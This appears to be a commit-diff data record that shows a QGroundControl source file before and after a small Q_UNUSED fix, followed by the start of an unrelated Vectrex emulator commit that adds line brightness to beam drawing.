\"OpalLink.h\"\n#endif\n#include \"UDPLink.h\"\n#include \"MAVLinkSimulationLink.h\"\n#include \"SerialLink.h\"\n\nconst char* QGCApplication::_deleteAllSettingsKey = \"DeleteAllSettingsNextBoot\";\nconst char* QGCApplication::_settingsVersionKey = \"SettingsVersion\";\nconst char* QGCApplication::_savedFilesLocationKey = \"SavedFilesLocation\";\nconst char* QGCApplication::_promptFlightDataSave = \"PromptFLightDataSave\";\n\nconst char* QGCApplication::_defaultSavedFileDirectoryName = \"QGroundControl\";\nconst char* QGCApplication::_savedFileMavlinkLogDirectoryName = \"FlightData\";\nconst char* QGCApplication::_savedFileParameterDirectoryName = \"SavedParameters\";\n\n\/**\n * @brief Constructor for the main application.\n *\n * This constructor initializes and starts the whole application. It takes standard\n * command-line parameters\n *\n * @param argc The number of command-line parameters\n * @param argv The string array of parameters\n **\/\n\n\nQGCApplication::QGCApplication(int &argc, char* argv[]) :\nQApplication(argc, argv),\n_mainWindow(NULL)\n{\n \/\/ Set application information\n this->setApplicationName(QGC_APPLICATION_NAME);\n this->setOrganizationName(QGC_ORG_NAME);\n this->setOrganizationDomain(QGC_ORG_DOMAIN);\n \n \/\/ Version string is build from component parts. Format is:\n \/\/ vMajor.Minor.BuildNumber BuildType\n QString versionString(\"v%1.%2.%3 %4\");\n versionString = versionString.arg(QGC_APPLICATION_VERSION_MAJOR).arg(QGC_APPLICATION_VERSION_MINOR).arg(QGC_APPLICATION_VERSION_BUILDNUMBER).arg(QGC_APPLICATION_VERSION_BUILDTYPE);\n this->setApplicationVersion(versionString);\n \n \/\/ Set settings format\n QSettings::setDefaultFormat(QSettings::IniFormat);\n \n \/\/ Parse command line options\n \n bool fClearSettingsOptions = false; \/\/ Clear stored settings\n \n CmdLineOpt_t rgCmdLineOptions[] = {\n { \"--clear-settings\", &fClearSettingsOptions },\n \/\/ Add additional command line option flags here\n };\n \n ParseCmdLineOptions(argc, argv, rgCmdLineOptions, sizeof(rgCmdLineOptions)\/sizeof(rgCmdLineOptions[0]), false);\n \n QSettings settings;\n \n \/\/ The setting will delete all settings on this boot\n fClearSettingsOptions |= settings.contains(_deleteAllSettingsKey);\n \n if (fClearSettingsOptions) {\n \/\/ User requested settings to be cleared on command line\n settings.clear();\n settings.setValue(_settingsVersionKey, QGC_SETTINGS_VERSION);\n settings.sync();\n }\n \n}\n\nbool QGCApplication::init(void)\n{\n QSettings settings;\n \n \/\/ Exit main application when last window is closed\n connect(this, SIGNAL(lastWindowClosed()), this, SLOT(quit()));\n \n \/\/ Show user an upgrade message if the settings version has been bumped up\n bool settingsUpgraded = false;\n enum MainWindow::CUSTOM_MODE mode = MainWindow::CUSTOM_MODE_PX4;\n if (settings.contains(_settingsVersionKey)) {\n if (settings.value(_settingsVersionKey).toInt() != QGC_SETTINGS_VERSION) {\n settingsUpgraded = true;\n }\n } else if (settings.allKeys().count()) {\n \/\/ Settings version key is missing and there are settings. This is an upgrade scenario.\n settingsUpgraded = true;\n }\n \n if (settingsUpgraded) {\n settings.clear();\n settings.setValue(_settingsVersionKey, QGC_SETTINGS_VERSION);\n }\n \n \/\/ Load saved files location and validate\n \n QString savedFilesLocation;\n if (settings.contains(_savedFilesLocationKey)) {\n savedFilesLocation = settings.value(_savedFilesLocationKey).toString();\n } else {\n \/\/ No location set. Create a default one in Documents standard location.\n \n QString documentsLocation = QStandardPaths::writableLocation(QStandardPaths::DocumentsLocation);\n \n QDir documentsDir(documentsLocation);\n Q_ASSERT(documentsDir.exists());\n \n bool pathCreated = documentsDir.mkpath(_defaultSavedFileDirectoryName);\n Q_ASSERT(pathCreated);\n savedFilesLocation = documentsDir.filePath(_defaultSavedFileDirectoryName);\n settings.setValue(_savedFilesLocationKey, savedFilesLocation);\n }\n \n if (!savedFilesLocation.isEmpty()) {\n if (!validatePossibleSavedFilesLocation(savedFilesLocation)) {\n savedFilesLocation.clear();\n }\n }\n \n \/\/ If we made it this far and we still don't have a location. Either the specfied location was invalid\n \/\/ or we coudn't create a default location. Either way, we need to let the user know and prompt for a new\n \/\/\/ settings.\n if (savedFilesLocation.isEmpty()) {\n QMessageBox::warning(MainWindow::instance(),\n tr(\"Bad save location\"),\n tr(\"The location to save files to is invalid, or cannot be written to. Please provide a new one.\"));\n MainWindow::instance()->showSettings();\n }\n \n mode = (enum MainWindow::CUSTOM_MODE) settings.value(\"QGC_CUSTOM_MODE\", (int)MainWindow::CUSTOM_MODE_PX4).toInt();\n \n settings.sync();\n \n \/\/ Show splash screen\n QPixmap splashImage(\":\/files\/images\/splash.png\");\n QSplashScreen* splashScreen = new QSplashScreen(splashImage);\n \/\/ Delete splash screen after mainWindow was displayed\n splashScreen->setAttribute(Qt::WA_DeleteOnClose);\n splashScreen->show();\n processEvents();\n splashScreen->showMessage(tr(\"Loading application fonts\"), Qt::AlignLeft | Qt::AlignBottom, QColor(62, 93, 141));\n \n \/\/ Load application font\n QFontDatabase fontDatabase = QFontDatabase();\n const QString fontFileName = \":\/general\/vera.ttf\"; \/\/\/< Font file is part of the QRC file and compiled into the app\n \/\/const QString fontFamilyName = \"Bitstream Vera Sans\";\n if(!QFile::exists(fontFileName)) printf(\"ERROR! font file: %s DOES NOT EXIST!\\n\", fontFileName.toStdString().c_str());\n fontDatabase.addApplicationFont(fontFileName);\n \/\/ Avoid Using setFont(). In the Qt docu you can read the following:\n \/\/ \"Warning: Do not use this function in conjunction with Qt Style Sheets.\"\n \/\/ setFont(fontDatabase.font(fontFamilyName, \"Roman\", 12));\n \n \/\/ Start the comm link manager\n splashScreen->showMessage(tr(\"Starting communication links\"), Qt::AlignLeft | Qt::AlignBottom, QColor(62, 93, 141));\n startLinkManager();\n \n \/\/ Start the UAS Manager\n splashScreen->showMessage(tr(\"Starting UAS manager\"), Qt::AlignLeft | Qt::AlignBottom, QColor(62, 93, 141));\n startUASManager();\n \n \/\/ Start the user interface\n splashScreen->showMessage(tr(\"Starting user interface\"), Qt::AlignLeft | Qt::AlignBottom, QColor(62, 93, 141));\n _mainWindow = MainWindow::_create(splashScreen, mode);\n \n UDPLink* udpLink = NULL;\n \n if (_mainWindow->getCustomMode() == MainWindow::CUSTOM_MODE_WIFI)\n {\n \/\/ Connect links\n \/\/ to make sure that all components are initialized when the\n \/\/ first messages arrive\n udpLink = new UDPLink(QHostAddress::Any, 14550);\n LinkManager::instance()->add(udpLink);\n } else {\n \/\/ We want to have a default serial link available for \"quick\" connecting.\n SerialLink *slink = new SerialLink();\n LinkManager::instance()->add(slink);\n }\n \n#ifdef QGC_RTLAB_ENABLED\n \/\/ Add OpalRT Link, but do not connect\n OpalLink* opalLink = new OpalLink();\n MainWindow::instance()->addLink(opalLink);\n#endif\n \n \/\/ Remove splash screen\n splashScreen->finish(_mainWindow);\n _mainWindow->splashScreenFinished();\n \n if (settingsUpgraded) {\n _mainWindow->showInfoMessage(tr(\"Settings Cleared\"),\n tr(\"The format for QGroundControl saved settings has been modified. \"\n \"Your saved settings have been reset to defaults.\"));\n }\n \n \/\/ Check if link could be connected\n if (udpLink && !LinkManager::instance()->connectLink(udpLink))\n {\n QMessageBox msgBox;\n msgBox.setIcon(QMessageBox::Critical);\n msgBox.setText(\"Could not connect UDP port. Is an instance of \" + qAppName() + \"already running?\");\n msgBox.setInformativeText(\"It is recommended to close the application and stop all instances. Click Yes to close.\");\n msgBox.setStandardButtons(QMessageBox::Yes | QMessageBox::No);\n msgBox.setDefaultButton(QMessageBox::No);\n int ret = msgBox.exec();\n \n \/\/ Close the message box shortly after the click to prevent accidental clicks\n QTimer::singleShot(15000, &msgBox, SLOT(reject()));\n \n \/\/ Exit application\n if (ret == QMessageBox::Yes)\n {\n \/\/mainWindow->close();\n QTimer::singleShot(200, _mainWindow, SLOT(close()));\n }\n }\n \n return true;\n}\n\n\/**\n * @brief Destructor for the groundstation. It destroys all loaded instances.\n *\n **\/\nQGCApplication::~QGCApplication()\n{\n delete UASManager::instance();\n delete LinkManager::instance();\n}\n\n\/**\n * @brief Start the link managing component.\n *\n * The link manager keeps track of all communication links and provides the global\n * packet queue. It is the main communication hub\n **\/\nvoid QGCApplication::startLinkManager()\n{\n LinkManager::instance();\n}\n\n\/**\n * @brief Start the Unmanned Air System Manager\n *\n **\/\nvoid QGCApplication::startUASManager()\n{\n \/\/ Load UAS plugins\n QDir pluginsDir = QDir(qApp->applicationDirPath());\n \n#if defined(Q_OS_WIN)\n if (pluginsDir.dirName().toLower() == \"debug\" || pluginsDir.dirName().toLower() == \"release\")\n pluginsDir.cdUp();\n#elif defined(Q_OS_LINUX)\n if (pluginsDir.dirName().toLower() == \"debug\" || pluginsDir.dirName().toLower() == \"release\")\n pluginsDir.cdUp();\n#elif defined(Q_OS_MAC)\n if (pluginsDir.dirName() == \"MacOS\") {\n pluginsDir.cdUp();\n pluginsDir.cdUp();\n pluginsDir.cdUp();\n }\n#endif\n pluginsDir.cd(\"plugins\");\n \n UASManager::instance();\n \n \/\/ Load plugins\n \n QStringList pluginFileNames;\n \n foreach (QString fileName, pluginsDir.entryList(QDir::Files)) {\n QPluginLoader loader(pluginsDir.absoluteFilePath(fileName));\n QObject *plugin = loader.instance();\n if (plugin) {\n \/\/populateMenus(plugin);\n pluginFileNames += fileName;\n \/\/printf(QString(\"Loaded plugin from \" + fileName + \"\\n\").toStdString().c_str());\n }\n }\n}\n\nvoid QGCApplication::deleteAllSettingsNextBoot(void)\n{\n QSettings settings;\n settings.setValue(_deleteAllSettingsKey, true);\n}\n\nvoid QGCApplication::clearDeleteAllSettingsNextBoot(void)\n{\n QSettings settings;\n settings.remove(_deleteAllSettingsKey);\n}\n\nvoid QGCApplication::setSavedFilesLocation(QString& location)\n{\n QSettings settings;\n settings.setValue(_savedFilesLocationKey, location);\n}\n\nbool QGCApplication::validatePossibleSavedFilesLocation(QString& location)\n{\n \/\/ Make sure we can write to the directory\n QString filename = QDir(location).filePath(\"QGCTempXXXXXXXX.tmp\");\n QTemporaryFile tempFile(filename);\n if (!tempFile.open()) {\n return false;\n }\n \n return true;\n}\n\nQString QGCApplication::savedFilesLocation(void)\n{\n QSettings settings;\n \n Q_ASSERT(settings.contains(_savedFilesLocationKey));\n return settings.value(_savedFilesLocationKey).toString();\n}\n\nQString QGCApplication::savedParameterFilesLocation(void)\n{\n QString location;\n QDir parentDir(savedFilesLocation());\n \n location = parentDir.filePath(_savedFileParameterDirectoryName);\n \n if (!QDir(location).exists()) {\n \/\/ If directory doesn't exist, try to create it\n if (!parentDir.mkpath(_savedFileParameterDirectoryName)) {\n \/\/ Return an error\n location.clear();\n }\n }\n \n return location;\n}\n\nQString QGCApplication::mavlinkLogFilesLocation(void)\n{\n QString location;\n QDir parentDir(savedFilesLocation());\n \n location = parentDir.filePath(_savedFileMavlinkLogDirectoryName);\n \n if (!QDir(location).exists()) {\n \/\/ If directory doesn't exist, try to create it\n if (!parentDir.mkpath(_savedFileMavlinkLogDirectoryName)) {\n \/\/ Return an error\n location.clear();\n }\n }\n \n return location;\n}\n\nbool QGCApplication::promptFlightDataSave(void)\n{\n QSettings settings;\n \n return settings.value(_promptFlightDataSave, true).toBool();\n}\n\nvoid QGCApplication::setPromptFlightDataSave(bool promptForSave)\n{\n QSettings settings;\n settings.setValue(_promptFlightDataSave, promptForSave);\n}\n\n\/\/\/ @brief Returns the QGCApplication object singleton.\nQGCApplication* qgcApp(void)\n{\n QGCApplication* app = dynamic_cast<QGCApplication*>(qApp);\n Q_ASSERT(app);\n return app;\n}\n<commit_msg>Add Q_UNUSED to variable only used in Q_ASSERT<commit_after>\/*=====================================================================\n \n QGroundControl Open Source Ground Control Station\n \n (c) 2009 - 2015 QGROUNDCONTROL PROJECT <http:\/\/www.qgroundcontrol.org>\n \n This file is part of the QGROUNDCONTROL project\n \n QGROUNDCONTROL is free software: you can redistribute it and\/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation, either version 3 of the License, or\n (at your option) any later version.\n \n QGROUNDCONTROL is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details.\n \n You should have received a copy of the GNU General Public License\n along with QGROUNDCONTROL. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n \n ======================================================================*\/\n\n\/**\n * @file\n * @brief Implementation of class QGCApplication\n *\n * @author Lorenz Meier <mavteam@student.ethz.ch>\n *\n *\/\n\n#include <QFile>\n#include <QFlags>\n#include <QThread>\n#include <QSplashScreen>\n#include <QPixmap>\n#include <QDesktopWidget>\n#include <QPainter>\n#include <QStyleFactory>\n#include <QAction>\n\n#include <QDebug>\n\n#include \"configuration.h\"\n#include \"QGC.h\"\n#include \"QGCCore.h\"\n#include \"MainWindow.h\"\n#include \"GAudioOutput.h\"\n#include \"CmdLineOptParser.h\"\n\n#ifdef QGC_RTLAB_ENABLED\n#include \"OpalLink.h\"\n#endif\n#include \"UDPLink.h\"\n#include \"MAVLinkSimulationLink.h\"\n#include \"SerialLink.h\"\n\nconst char* QGCApplication::_deleteAllSettingsKey = \"DeleteAllSettingsNextBoot\";\nconst char* QGCApplication::_settingsVersionKey = \"SettingsVersion\";\nconst char* QGCApplication::_savedFilesLocationKey = \"SavedFilesLocation\";\nconst char* QGCApplication::_promptFlightDataSave = \"PromptFLightDataSave\";\n\nconst char* QGCApplication::_defaultSavedFileDirectoryName = \"QGroundControl\";\nconst char* QGCApplication::_savedFileMavlinkLogDirectoryName = \"FlightData\";\nconst char* QGCApplication::_savedFileParameterDirectoryName = \"SavedParameters\";\n\n\/**\n * @brief Constructor for the main application.\n *\n * This constructor initializes and starts the whole application. It takes standard\n * command-line parameters\n *\n * @param argc The number of command-line parameters\n * @param argv The string array of parameters\n **\/\n\n\nQGCApplication::QGCApplication(int &argc, char* argv[]) :\nQApplication(argc, argv),\n_mainWindow(NULL)\n{\n \/\/ Set application information\n this->setApplicationName(QGC_APPLICATION_NAME);\n this->setOrganizationName(QGC_ORG_NAME);\n this->setOrganizationDomain(QGC_ORG_DOMAIN);\n \n \/\/ Version string is build from component parts. Format is:\n \/\/ vMajor.Minor.BuildNumber BuildType\n QString versionString(\"v%1.%2.%3 %4\");\n versionString = versionString.arg(QGC_APPLICATION_VERSION_MAJOR).arg(QGC_APPLICATION_VERSION_MINOR).arg(QGC_APPLICATION_VERSION_BUILDNUMBER).arg(QGC_APPLICATION_VERSION_BUILDTYPE);\n this->setApplicationVersion(versionString);\n \n \/\/ Set settings format\n QSettings::setDefaultFormat(QSettings::IniFormat);\n \n \/\/ Parse command line options\n \n bool fClearSettingsOptions = false; \/\/ Clear stored settings\n \n CmdLineOpt_t rgCmdLineOptions[] = {\n { \"--clear-settings\", &fClearSettingsOptions },\n \/\/ Add additional command line option flags here\n };\n \n ParseCmdLineOptions(argc, argv, rgCmdLineOptions, sizeof(rgCmdLineOptions)\/sizeof(rgCmdLineOptions[0]), false);\n \n QSettings settings;\n \n \/\/ The setting will delete all settings on this boot\n fClearSettingsOptions |= settings.contains(_deleteAllSettingsKey);\n \n if (fClearSettingsOptions) {\n \/\/ User requested settings to be cleared on command line\n settings.clear();\n settings.setValue(_settingsVersionKey, QGC_SETTINGS_VERSION);\n settings.sync();\n }\n \n}\n\nbool QGCApplication::init(void)\n{\n QSettings settings;\n \n \/\/ Exit main application when last window is closed\n connect(this, SIGNAL(lastWindowClosed()), this, SLOT(quit()));\n \n \/\/ Show user an upgrade message if the settings version has been bumped up\n bool settingsUpgraded = false;\n enum MainWindow::CUSTOM_MODE mode = MainWindow::CUSTOM_MODE_PX4;\n if (settings.contains(_settingsVersionKey)) {\n if (settings.value(_settingsVersionKey).toInt() != QGC_SETTINGS_VERSION) {\n settingsUpgraded = true;\n }\n } else if (settings.allKeys().count()) {\n \/\/ Settings version key is missing and there are settings. This is an upgrade scenario.\n settingsUpgraded = true;\n }\n \n if (settingsUpgraded) {\n settings.clear();\n settings.setValue(_settingsVersionKey, QGC_SETTINGS_VERSION);\n }\n \n \/\/ Load saved files location and validate\n \n QString savedFilesLocation;\n if (settings.contains(_savedFilesLocationKey)) {\n savedFilesLocation = settings.value(_savedFilesLocationKey).toString();\n } else {\n \/\/ No location set. Create a default one in Documents standard location.\n \n QString documentsLocation = QStandardPaths::writableLocation(QStandardPaths::DocumentsLocation);\n \n QDir documentsDir(documentsLocation);\n Q_ASSERT(documentsDir.exists());\n \n bool pathCreated = documentsDir.mkpath(_defaultSavedFileDirectoryName);\n Q_UNUSED(pathCreated);\n Q_ASSERT(pathCreated);\n savedFilesLocation = documentsDir.filePath(_defaultSavedFileDirectoryName);\n settings.setValue(_savedFilesLocationKey, savedFilesLocation);\n }\n \n if (!savedFilesLocation.isEmpty()) {\n if (!validatePossibleSavedFilesLocation(savedFilesLocation)) {\n savedFilesLocation.clear();\n }\n }\n \n \/\/ If we made it this far and we still don't have a location. Either the specfied location was invalid\n \/\/ or we coudn't create a default location. Either way, we need to let the user know and prompt for a new\n \/\/\/ settings.\n if (savedFilesLocation.isEmpty()) {\n QMessageBox::warning(MainWindow::instance(),\n tr(\"Bad save location\"),\n tr(\"The location to save files to is invalid, or cannot be written to. Please provide a new one.\"));\n MainWindow::instance()->showSettings();\n }\n \n mode = (enum MainWindow::CUSTOM_MODE) settings.value(\"QGC_CUSTOM_MODE\", (int)MainWindow::CUSTOM_MODE_PX4).toInt();\n \n settings.sync();\n \n \/\/ Show splash screen\n QPixmap splashImage(\":\/files\/images\/splash.png\");\n QSplashScreen* splashScreen = new QSplashScreen(splashImage);\n \/\/ Delete splash screen after mainWindow was displayed\n splashScreen->setAttribute(Qt::WA_DeleteOnClose);\n splashScreen->show();\n processEvents();\n splashScreen->showMessage(tr(\"Loading application fonts\"), Qt::AlignLeft | Qt::AlignBottom, QColor(62, 93, 141));\n \n \/\/ Load application font\n QFontDatabase fontDatabase = QFontDatabase();\n const QString fontFileName = \":\/general\/vera.ttf\"; \/\/\/< Font file is part of the QRC file and compiled into the app\n \/\/const QString fontFamilyName = \"Bitstream Vera Sans\";\n if(!QFile::exists(fontFileName)) printf(\"ERROR! font file: %s DOES NOT EXIST!\\n\", fontFileName.toStdString().c_str());\n fontDatabase.addApplicationFont(fontFileName);\n \/\/ Avoid Using setFont(). In the Qt docu you can read the following:\n \/\/ \"Warning: Do not use this function in conjunction with Qt Style Sheets.\"\n \/\/ setFont(fontDatabase.font(fontFamilyName, \"Roman\", 12));\n \n \/\/ Start the comm link manager\n splashScreen->showMessage(tr(\"Starting communication links\"), Qt::AlignLeft | Qt::AlignBottom, QColor(62, 93, 141));\n startLinkManager();\n \n \/\/ Start the UAS Manager\n splashScreen->showMessage(tr(\"Starting UAS manager\"), Qt::AlignLeft | Qt::AlignBottom, QColor(62, 93, 141));\n startUASManager();\n \n \/\/ Start the user interface\n splashScreen->showMessage(tr(\"Starting user interface\"), Qt::AlignLeft | Qt::AlignBottom, QColor(62, 93, 141));\n _mainWindow = MainWindow::_create(splashScreen, mode);\n \n UDPLink* udpLink = NULL;\n \n if (_mainWindow->getCustomMode() == MainWindow::CUSTOM_MODE_WIFI)\n {\n \/\/ Connect links\n \/\/ to make sure that all components are initialized when the\n \/\/ first messages arrive\n udpLink = new UDPLink(QHostAddress::Any, 14550);\n LinkManager::instance()->add(udpLink);\n } else {\n \/\/ We want to have a default serial link available for \"quick\" connecting.\n SerialLink *slink = new SerialLink();\n LinkManager::instance()->add(slink);\n }\n \n#ifdef QGC_RTLAB_ENABLED\n \/\/ Add OpalRT Link, but do not connect\n OpalLink* opalLink = new OpalLink();\n MainWindow::instance()->addLink(opalLink);\n#endif\n \n \/\/ Remove splash screen\n splashScreen->finish(_mainWindow);\n _mainWindow->splashScreenFinished();\n \n if (settingsUpgraded) {\n _mainWindow->showInfoMessage(tr(\"Settings Cleared\"),\n tr(\"The format for QGroundControl saved settings has been modified. \"\n \"Your saved settings have been reset to defaults.\"));\n }\n \n \/\/ Check if link could be connected\n if (udpLink && !LinkManager::instance()->connectLink(udpLink))\n {\n QMessageBox msgBox;\n msgBox.setIcon(QMessageBox::Critical);\n msgBox.setText(\"Could not connect UDP port. Is an instance of \" + qAppName() + \"already running?\");\n msgBox.setInformativeText(\"It is recommended to close the application and stop all instances. Click Yes to close.\");\n msgBox.setStandardButtons(QMessageBox::Yes | QMessageBox::No);\n msgBox.setDefaultButton(QMessageBox::No);\n int ret = msgBox.exec();\n \n \/\/ Close the message box shortly after the click to prevent accidental clicks\n QTimer::singleShot(15000, &msgBox, SLOT(reject()));\n \n \/\/ Exit application\n if (ret == QMessageBox::Yes)\n {\n \/\/mainWindow->close();\n QTimer::singleShot(200, _mainWindow, SLOT(close()));\n }\n }\n \n return true;\n}\n\n\/**\n * @brief Destructor for the groundstation. It destroys all loaded instances.\n *\n **\/\nQGCApplication::~QGCApplication()\n{\n delete UASManager::instance();\n delete LinkManager::instance();\n}\n\n\/**\n * @brief Start the link managing component.\n *\n * The link manager keeps track of all communication links and provides the global\n * packet queue. It is the main communication hub\n **\/\nvoid QGCApplication::startLinkManager()\n{\n LinkManager::instance();\n}\n\n\/**\n * @brief Start the Unmanned Air System Manager\n *\n **\/\nvoid QGCApplication::startUASManager()\n{\n \/\/ Load UAS plugins\n QDir pluginsDir = QDir(qApp->applicationDirPath());\n \n#if defined(Q_OS_WIN)\n if (pluginsDir.dirName().toLower() == \"debug\" || pluginsDir.dirName().toLower() == \"release\")\n pluginsDir.cdUp();\n#elif defined(Q_OS_LINUX)\n if (pluginsDir.dirName().toLower() == \"debug\" || pluginsDir.dirName().toLower() == \"release\")\n pluginsDir.cdUp();\n#elif defined(Q_OS_MAC)\n if (pluginsDir.dirName() == \"MacOS\") {\n pluginsDir.cdUp();\n pluginsDir.cdUp();\n pluginsDir.cdUp();\n }\n#endif\n pluginsDir.cd(\"plugins\");\n \n UASManager::instance();\n \n \/\/ Load plugins\n \n QStringList pluginFileNames;\n \n foreach (QString fileName, pluginsDir.entryList(QDir::Files)) {\n QPluginLoader loader(pluginsDir.absoluteFilePath(fileName));\n QObject *plugin = loader.instance();\n if (plugin) {\n \/\/populateMenus(plugin);\n pluginFileNames += fileName;\n \/\/printf(QString(\"Loaded plugin from \" + fileName + \"\\n\").toStdString().c_str());\n }\n }\n}\n\nvoid QGCApplication::deleteAllSettingsNextBoot(void)\n{\n QSettings settings;\n settings.setValue(_deleteAllSettingsKey, true);\n}\n\nvoid QGCApplication::clearDeleteAllSettingsNextBoot(void)\n{\n QSettings settings;\n settings.remove(_deleteAllSettingsKey);\n}\n\nvoid QGCApplication::setSavedFilesLocation(QString& location)\n{\n QSettings settings;\n settings.setValue(_savedFilesLocationKey, location);\n}\n\nbool QGCApplication::validatePossibleSavedFilesLocation(QString& location)\n{\n \/\/ Make sure we can write to the directory\n QString filename = QDir(location).filePath(\"QGCTempXXXXXXXX.tmp\");\n QTemporaryFile tempFile(filename);\n if (!tempFile.open()) {\n return false;\n }\n \n return true;\n}\n\nQString QGCApplication::savedFilesLocation(void)\n{\n QSettings settings;\n \n Q_ASSERT(settings.contains(_savedFilesLocationKey));\n return settings.value(_savedFilesLocationKey).toString();\n}\n\nQString QGCApplication::savedParameterFilesLocation(void)\n{\n QString location;\n QDir parentDir(savedFilesLocation());\n \n location = parentDir.filePath(_savedFileParameterDirectoryName);\n \n if (!QDir(location).exists()) {\n \/\/ If directory doesn't exist, try to create it\n if (!parentDir.mkpath(_savedFileParameterDirectoryName)) {\n \/\/ Return an error\n location.clear();\n }\n }\n \n return location;\n}\n\nQString QGCApplication::mavlinkLogFilesLocation(void)\n{\n QString location;\n QDir parentDir(savedFilesLocation());\n \n location = parentDir.filePath(_savedFileMavlinkLogDirectoryName);\n \n if (!QDir(location).exists()) {\n \/\/ If directory doesn't exist, try to create it\n if (!parentDir.mkpath(_savedFileMavlinkLogDirectoryName)) {\n \/\/ Return an error\n location.clear();\n }\n }\n \n return location;\n}\n\nbool QGCApplication::promptFlightDataSave(void)\n{\n QSettings settings;\n \n return settings.value(_promptFlightDataSave, true).toBool();\n}\n\nvoid QGCApplication::setPromptFlightDataSave(bool promptForSave)\n{\n QSettings settings;\n settings.setValue(_promptFlightDataSave, promptForSave);\n}\n\n\/\/\/ @brief Returns the QGCApplication object singleton.\nQGCApplication* qgcApp(void)\n{\n QGCApplication* app = dynamic_cast<QGCApplication*>(qApp);\n Q_ASSERT(app);\n return app;\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"Screen.h\"\n#include \"EngineClient.h\"\n#include <imgui.h>\n\nnamespace {\n \/\/@TODO: make these conditionally const for \"shipping\" build\n static int32_t RampUpDelay = 5;\n static int32_t RampDownDelay = 10;\n static int32_t VelocityXDelay = 6;\n \/\/ LineDrawScale is required because introducing ramp and velX delays means we now create lines\n \/\/ that go outside the 256x256 grid. So we scale down the line drawing values a little to make\n \/\/ it fit within the grid again.\n static float LineDrawScale = 0.9f;\n} \/\/ namespace\n\nvoid Screen::Init() {\n m_velocityX.CyclesToUpdateValue = VelocityXDelay;\n}\n\nvoid Screen::Update(cycles_t cycles, RenderContext& renderContext) {\n m_velocityX.Update(cycles);\n m_velocityY.Update(cycles);\n\n \/\/ Handle switching to RampUp\/RampDown\n switch (m_rampPhase) {\n case RampPhase::RampOff:\n case RampPhase::RampDown:\n if (m_integratorsEnabled) {\n m_rampPhase = RampPhase::RampUp;\n m_rampDelay = RampUpDelay;\n }\n break;\n\n case RampPhase::RampOn:\n case RampPhase::RampUp:\n if (!m_integratorsEnabled) {\n m_rampPhase = RampPhase::RampDown;\n m_rampDelay = RampDownDelay;\n }\n }\n\n \/\/ Handle switching to RampOn\/RampOff\n switch (m_rampPhase) {\n case RampPhase::RampUp:\n \/\/ Wait some cycles, then go to RampOn\n if (--m_rampDelay <= 0) {\n m_rampPhase = RampPhase::RampOn;\n }\n break;\n\n case RampPhase::RampDown:\n \/\/ Wait some cycles, then go to RampOff\n if (--m_rampDelay <= 0) {\n m_rampPhase = RampPhase::RampOff;\n }\n }\n\n const auto lastPos = m_pos;\n\n \/\/ Move beam while ramp is on or its way down\n switch (m_rampPhase) {\n case RampPhase::RampDown:\n case RampPhase::RampOn: {\n const auto offset = Vector2{m_xyOffset, m_xyOffset};\n Vector2 velocity{m_velocityX, m_velocityY};\n Vector2 delta = (velocity + offset) \/ 128.f * static_cast<float>(cycles) * LineDrawScale;\n m_pos += delta;\n break;\n }\n }\n\n \/\/ We might draw even when integrators are disabled (e.g. drawing dots)\n bool drawingEnabled = !m_blank && (m_brightness > 0.f && m_brightness <= 128.f);\n if (drawingEnabled) {\n renderContext.lines.emplace_back(Line{lastPos, m_pos});\n }\n}\n\nvoid Screen::FrameUpdate() {\n ImGui::SliderInt(\"RampUpDelay\", &RampUpDelay, 0, 20);\n ImGui::SliderInt(\"RampDownDelay\", &RampDownDelay, 0, 20);\n ImGui::SliderInt(\"VelocityXDelay\", &VelocityXDelay, 0, 30);\n ImGui::SliderFloat(\"LineDrawScale\", &LineDrawScale, 0.1f, 1.f);\n m_velocityX.CyclesToUpdateValue = VelocityXDelay;\n}\n\nvoid Screen::ZeroBeam() {\n \/\/@TODO: move beam towards 0,0 over time\n m_pos = {0.f, 0.f};\n}\n<commit_msg>Hook up line brightness<commit_after>#include \"Screen.h\"\n#include \"EngineClient.h\"\n#include <imgui.h>\n\nnamespace {\n \/\/@TODO: make these conditionally const for \"shipping\" build\n static int32_t RampUpDelay = 5;\n static int32_t RampDownDelay = 10;\n static int32_t VelocityXDelay = 6;\n \/\/ LineDrawScale is required because introducing ramp and velX delays means we now create lines\n \/\/ that go outside the 256x256 grid. So we scale down the line drawing values a little to make\n \/\/ it fit within the grid again.\n static float LineDrawScale = 0.9f;\n} \/\/ namespace\n\nvoid Screen::Init() {\n m_velocityX.CyclesToUpdateValue = VelocityXDelay;\n}\n\nvoid Screen::Update(cycles_t cycles, RenderContext& renderContext) {\n m_velocityX.Update(cycles);\n m_velocityY.Update(cycles);\n\n \/\/ Handle switching to RampUp\/RampDown\n switch (m_rampPhase) {\n case RampPhase::RampOff:\n case RampPhase::RampDown:\n if (m_integratorsEnabled) {\n m_rampPhase = RampPhase::RampUp;\n m_rampDelay = RampUpDelay;\n }\n break;\n\n case RampPhase::RampOn:\n case RampPhase::RampUp:\n if (!m_integratorsEnabled) {\n m_rampPhase = RampPhase::RampDown;\n m_rampDelay = RampDownDelay;\n }\n }\n\n \/\/ Handle switching to RampOn\/RampOff\n switch (m_rampPhase) {\n case RampPhase::RampUp:\n \/\/ Wait some cycles, then go to RampOn\n if (--m_rampDelay <= 0) {\n m_rampPhase = RampPhase::RampOn;\n }\n break;\n\n case RampPhase::RampDown:\n \/\/ Wait some cycles, then go to RampOff\n if (--m_rampDelay <= 0) {\n m_rampPhase = RampPhase::RampOff;\n }\n }\n\n const auto lastPos = m_pos;\n\n \/\/ Move beam while ramp is on or its way down\n switch (m_rampPhase) {\n case RampPhase::RampDown:\n case RampPhase::RampOn: {\n const auto offset = Vector2{m_xyOffset, m_xyOffset};\n Vector2 velocity{m_velocityX, m_velocityY};\n Vector2 delta = (velocity + offset) \/ 128.f * static_cast<float>(cycles) * LineDrawScale;\n m_pos += delta;\n break;\n }\n }\n\n \/\/ We might draw even when integrators are disabled (e.g. drawing dots)\n bool drawingEnabled = !m_blank && (m_brightness > 0.f && m_brightness <= 128.f);\n if (drawingEnabled) {\n renderContext.lines.emplace_back(Line{lastPos, m_pos, m_brightness \/ 128.f});\n }\n}\n\nvoid Screen::FrameUpdate() {\n ImGui::SliderInt(\"RampUpDelay\", &RampUpDelay, 0, 20);\n ImGui::SliderInt(\"RampDownDelay\", &RampDownDelay, 0, 20);\n ImGui::SliderInt(\"VelocityXDelay\", 